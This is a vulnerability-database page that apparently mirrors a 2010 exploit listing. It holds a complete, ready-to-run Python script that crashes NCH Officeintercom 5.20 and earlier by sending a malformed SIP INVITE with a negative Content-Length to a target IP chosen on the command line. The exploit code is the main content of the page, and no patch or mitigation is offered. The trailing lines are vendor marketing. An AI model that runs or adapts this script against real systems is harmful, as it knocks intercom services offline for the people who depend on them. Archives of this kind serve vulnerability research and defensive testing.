Lucene search
K

NCH Officeintercom <= 5.20 - Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

NCH Officeintercom v5.20 Remote Denial of Service Vulnerability. Remote attack causes server crash due to maliscous SIP invite request parsing

Code

                                                #!/usr/bin/python

# Exploit Title: NCH Officeintercom &#60;= v5.20 Remote Denial of Service Vulnerability
# Date: 11/24/2010
# Author: xsploited security
# URL: http://www.x-sploited.com/
# Contact: xsploitedsecurity [at] x-sploited.com
# Software Link: http://www.nch.com.au/oi/oisetup.exe
# Version: &#60;= v5.20
# Tested on: Windows XP SP3
# CVE : N/A

### Software Description: ###
# Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area
# network with simple &#34;push-to-talk&#34; technology. It works as a virtual IP intercom and feels a little like using a CB
# radio. 
# Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom
# is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom
# because it uses the existing computer network. 

### Exploit information: ###
# NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request.
# If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer
# reference, causing an access violation.

### Shouts: ###
# kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites
#
# &#34;When you know that you&#39;re capable of dealing with whatever comes, you have the only security the world has to offer.&#34;
#			-Harry Browne
###

import sys,socket

if len(sys.argv) &#60; 2:
    print &#34;[!] Error, Usage: &#34; + sys.argv[0]+ &#34; &#60;Target IP&#62; [Port]&#34;
    sys.exit(1)

about = &#34;================================================\n&#34;
about += &#34;Title: Officeintercom &#60;= v5.20 Remote DoS POC\n&#34;
about +=  &#34;Author: xsploited security\nURL: http://www.x-sploited.com/\n&#34;
about +=  &#34;Contact: xsploitedsecurity [at] gmail.com\n&#34;
about +=  &#34;Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n&#34;
about +=  &#34;================================================\n&#34;
print about

host = sys.argv[1]

if len(sys.argv) &#62; 2:
    port = int(sys.argv[2])
else:
    port = 5060 #Default

payload = (&#34;INVITE sip:105@&#34; + host + &#34; SIP/2.0\r\n&#34;
&#34;To: &#60;sip:&#34; + host + &#34;:5060&#62;\r\n&#34;
&#34;Via: SIP/2.0/UDP localhost:10000\r\n&#34;
&#34;From: \x22xsploitedsec\x22&#60;sip:&#34; + host + &#34;:10000&#62;\r\n&#34;
&#34;Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n&#34;
&#34;CSeq: 1 INVITE\r\n&#34;
&#34;Max-Forwards: 70\r\n&#34;
&#34;Content-Type: application/sdp\r\n&#34;
&#34;Content-Length: -1\r\n\r\n&#34;);

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print &#34;[*] Sending evil SIP request to &#34; + host + &#34;:&#34; + str(port)
s.sendto(payload,(host,port))
print &#34;[*] Data sent successfully&#34;
print &#34;[*] Exiting...&#34;
s.close()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation